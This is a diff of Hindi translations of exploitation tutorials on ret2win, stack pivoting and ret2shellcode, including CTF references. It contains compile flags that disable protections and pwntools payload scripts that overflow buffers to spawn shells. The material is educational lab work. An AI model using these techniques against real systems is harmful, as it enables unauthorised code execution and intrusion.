- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को निष्क्रिय करें ताकि `win` फ़ंक्शन का पता न बदले।
|
||||
- `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न पते को `win` फ़ंक्शन के पते से ओवरराइट करेगा।
|
||||
हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगी और रिटर्न एड्रेस को `win` फ़ंक्शन के पते से ओवरराइट करेगी।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
|
||||
```
|
||||
यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है। 
|
||||
|
||||
Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो यह `main` पर लौटने या बाहर निकलने के बजाय `win` पर कूदता है, और संदेश प्रिंट होता है।
|
||||
Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो `main` पर लौटने या बाहर निकलने के बजाय, यह `win` पर कूदता है, और संदेश प्रिंट होता है।
|
||||
|
||||
## सुरक्षा
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं होगा।
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट्स का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
@ -78,21 +78,21 @@ Python स्क्रिप्ट एक सावधानीपूर्व
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||||
- 32bit, कोई ASLR नहीं
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||||
- 64 बिट ASLR के साथ, बिन पते का लीक
|
||||
- 64 बिट्स ASLR के साथ, बिन पते का लीक
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 बिट, कोई ASLR नहीं
|
||||
- 64 बिट्स, कोई ASLR नहीं
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 बिट, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना
|
||||
- 32 बिट्स, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 बिट, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
|
||||
- 32 बिट्स, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- 32 बिट्स, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- 32 बिट्स, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो बनाता है जिसे ret2win के साथ शोषण किया जाता है।
|
||||
- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो उत्पन्न करता है जिसे ret2win के साथ शोषण किया जाता है।
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 बिट, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट
|
||||
- 64 बिट्स, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64, PIE, यह एक PIE लीक देता है `win` फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
|
@ -12,51 +12,51 @@ mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
और चूंकि **EBP स्टैक में** EIP से पहले है, इसलिए इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के व्यवहार का लाभ उठाता है जब वे निष्पादन समाप्त करते हैं।
|
||||
यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के समाप्त होने पर उनके व्यवहार का लाभ उठाती है।
|
||||
|
||||
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **नकली EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहां स्टोर किया है।**\
|
||||
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहां ESP जाने वाला है, जहां आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
|
||||
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहाँ आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहाँ स्टोर किया है।**\
|
||||
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहाँ ESP जाने वाला है, जहाँ आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
|
||||
|
||||
#### एक्सप्लॉइट निर्माण
|
||||
#### Exploit Construction
|
||||
|
||||
पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाने डेटा / पते लिख सकते हैं**। ESP यहां इशारा करेगा और **पहला `ret` चलाएगा**।
|
||||
पहले आपको एक **पता जानने की आवश्यकता है जहाँ आप मनमाने डेटा / पते लिख सकते हैं**। ESP यहाँ इशारा करेगा और **पहला `ret` चलाएगा**।
|
||||
|
||||
फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग `ret` द्वारा **मनमाना कोड निष्पादित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं:
|
||||
फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग `ret` द्वारा **मनमाना कोड निष्पादित करने के लिए किया जाएगा**। आप उपयोग कर सकते हैं:
|
||||
|
||||
- एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता।
|
||||
- **`system()`** का पता उसके बाद **4 जंक बाइट्स** और `"/bin/sh"` का पता (x86 बिट्स)।
|
||||
- एक **`jump esp;`** गैजेट ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) का पता उसके बाद **निष्पादित करने के लिए शेलकोड**।
|
||||
- कुछ [**ROP**](../rop-return-oriented-programing/) श्रृंखला
|
||||
- कुछ [**ROP**](../rop-return-oriented-programing/index.html) श्रृंखला
|
||||
|
||||
याद रखें कि नियंत्रित मेमोरी के किसी भी इन पते से पहले, **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक **दूसरा नकली EBP** सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए।
|
||||
याद रखें कि नियंत्रित मेमोरी के इन पते से पहले, वहाँ **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक **दूसरा फर्जी EBP** सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए।
|
||||
|
||||
#### ऑफ-बाय-वन एक्सप्लॉइट
|
||||
#### Off-By-One Exploit
|
||||
|
||||
इस तकनीक का एक विशिष्ट रूप "ऑफ-बाय-वन एक्सप्लॉइट" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, EBP के साथ पहले तीन बाइट्स को साझा करना चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।\
|
||||
आमतौर पर इसे बाइट 0x00 को संशोधित किया जाता है ताकि जितना संभव हो सके कूद सके।
|
||||
इस तकनीक का एक विशिष्ट रूप "Off-By-One Exploit" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, उसे EBP के साथ पहले तीन बाइट्स साझा करने चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।\
|
||||
आमतौर पर इसे 0x00 बाइट को संशोधित किया जाता है ताकि जितना संभव हो सके कूद सके।
|
||||
|
||||
इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।
|
||||
इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करे और अंतिम ROP श्रृंखला निष्पादित हो।
|
||||
|
||||
### **EBP चेनिंग**
|
||||
### **EBP Chaining**
|
||||
|
||||
इसलिए, स्टैक के `EBP` प्रविष्टि में एक नियंत्रित पता डालना और `EIP` में `leave; ret` का पता डालना संभव है **स्टैक से नियंत्रित `EBP` पते पर `ESP` को स्थानांतरित करना**।
|
||||
इसलिए, स्टैक के `EBP` प्रविष्टि में एक नियंत्रित पता डालकर और `EIP` में `leave; ret` का पता डालकर, यह संभव है कि **`ESP` को स्टैक से नियंत्रित `EBP` पते पर ले जाया जाए**।
|
||||
|
||||
अब, **`ESP`** नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश `RET` है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह रखा जा सकता है:
|
||||
|
||||
- **`&(next fake EBP)`** -> `leave` निर्देश से `pop ebp` के कारण नया EBP लोड करें
|
||||
- **`system()`** -> `ret` द्वारा कॉल किया गया
|
||||
- **`&(leave;ret)`** -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू करेगा
|
||||
- **`&(leave;ret)`** -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को फर्जी EBP पर ले जाएगा और फिर से शुरू करेगा
|
||||
- **`&("/bin/sh")`**-> `system` के लिए पैरामीटर
|
||||
|
||||
बुनियादी रूप से इस तरीके से कई नकली EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
|
||||
बुनियादी रूप से इस तरह से कई फर्जी EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
|
||||
|
||||
यह [ret2lib](../rop-return-oriented-programing/ret2lib/) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
|
||||
यह [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
|
||||
|
||||
इसके अलावा, यहां आपके पास एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
|
||||
इसके अलावा, यहाँ एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -92,10 +92,10 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP का उपयोग नहीं किया जा सकता
|
||||
## EBP शायद उपयोग नहीं किया जाएगा
|
||||
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि एक बाइनरी कुछ ऑप्टिमाइजेशन के साथ संकलित की गई है, तो **EBP कभी भी ESP को नियंत्रित नहीं करता**, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट मूल रूप से विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं है।\
|
||||
यह इसलिए है क्योंकि **प्रोलॉग और एपिलॉग बदलते हैं** यदि बाइनरी ऑप्टिमाइज्ड है।
|
||||
यह इसलिए है क्योंकि **प्रोलॉग और एपिलॉग में बदलाव** होता है यदि बाइनरी ऑप्टिमाइज्ड है।
|
||||
|
||||
- **ऑप्टिमाइज्ड नहीं:**
|
||||
```bash
|
||||
@ -119,7 +119,7 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
## RSP को नियंत्रित करने के अन्य तरीके
|
||||
## अन्य तरीके RSP को नियंत्रित करने के लिए
|
||||
|
||||
### **`pop rsp`** गैजेट
|
||||
|
||||
@ -181,27 +181,27 @@ xchg <reg>, rsp
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ और अन्य उदाहरण
|
||||
## References & Other Examples
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 बिट, एक से बाहर शोषण एक रॉप श्रृंखला के साथ जो एक ret sled से शुरू होती है
|
||||
- 64 बिट, एक से बाहर शोषण एक rop श्रृंखला के साथ जो एक ret sled से शुरू होती है
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक प्रदान करता है और एक qword का WWW। पहले स्टैक लीक प्राप्त करें और pie लीक प्राप्त करने के लिए WWW का उपयोग करें। फिर एक स्थायी लूप बनाने के लिए WWW का उपयोग करें जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहाँ अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "स्थायी" लेखन का दुरुपयोग करते हुए, .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करने के लिए कॉल किया जाता है।
|
||||
- 64 बिट, कोई relro, canary, nx और pie नहीं। प्रोग्राम स्टैक या पाई के लिए एक लीक प्रदान करता है और एक qword का WWW। पहले स्टैक लीक प्राप्त करें और पाई लीक प्राप्त करने के लिए WWW का उपयोग करें। फिर एक स्थायी लूप बनाने के लिए WWW का उपयोग करें जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "स्थायी" लेखन का दुरुपयोग करते हुए, यह .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करने के लिए कॉल किया जाता है।
|
||||
|
||||
## ARM64
|
||||
|
||||
ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते**। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि **`x30`** के अंदर के पते पर लौटता है।
|
||||
|
||||
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।
|
||||
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को **नियंत्रित करने** का एक तरीका चाहिए।
|
||||
|
||||
- प्रोलॉग
|
||||
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP फ्रेम रिकॉर्ड की ओर इशारा करता है
|
||||
mov x29, sp // FP points to frame record
|
||||
```
|
||||
|
||||
- एपिलॉग
|
||||
@ -213,7 +213,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारण से `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना।
|
||||
> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारणवश `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना।
|
||||
|
||||
इसके अलावा, निम्नलिखित पृष्ठ पर आप **ARM64 में Ret2esp** का समकक्ष देख सकते हैं:
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
चलो एक कमजोर C प्रोग्राम के सरल उदाहरण से शुरू करते हैं:
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -34,12 +34,12 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है।
|
||||
- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड किस मेमोरी पते पर होगा।
|
||||
- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर शोषण विकास में सरलता के लिए उपयोग किया जाता है।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड कहाँ स्थित होगा।
|
||||
- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर एक्सप्लॉइट विकास में सरलता के लिए उपयोग किया जाता है।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
यहां बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले को करने के लिए Python में एक शोषण कैसे लिख सकते हैं:
|
||||
यहाँ बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले के लिए Python में एक एक्सप्लॉइट कैसे लिख सकते हैं:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** शामिल होता है, और फिर **EIP** को NOP स्लाइड की ओर इंगित करने वाले पते से ओवरराइट करती है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
|
||||
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** और फिर **EIP** को NOP स्लाइड की ओर इशारा करने वाले पते के साथ ओवरराइट किया जाता है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
|
||||
|
||||
**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। अपने बफर के प्रारंभिक पते के लिए `p32()` तर्क को समायोजित करें और NOP स्लाइड में पहुंचने के लिए एक ऑफसेट जोड़ें।
|
||||
|
||||
## सुरक्षा
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो सके, या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक समान नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा।
|
||||
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
@ -84,7 +84,7 @@ p.interactive()
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर कूदें
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
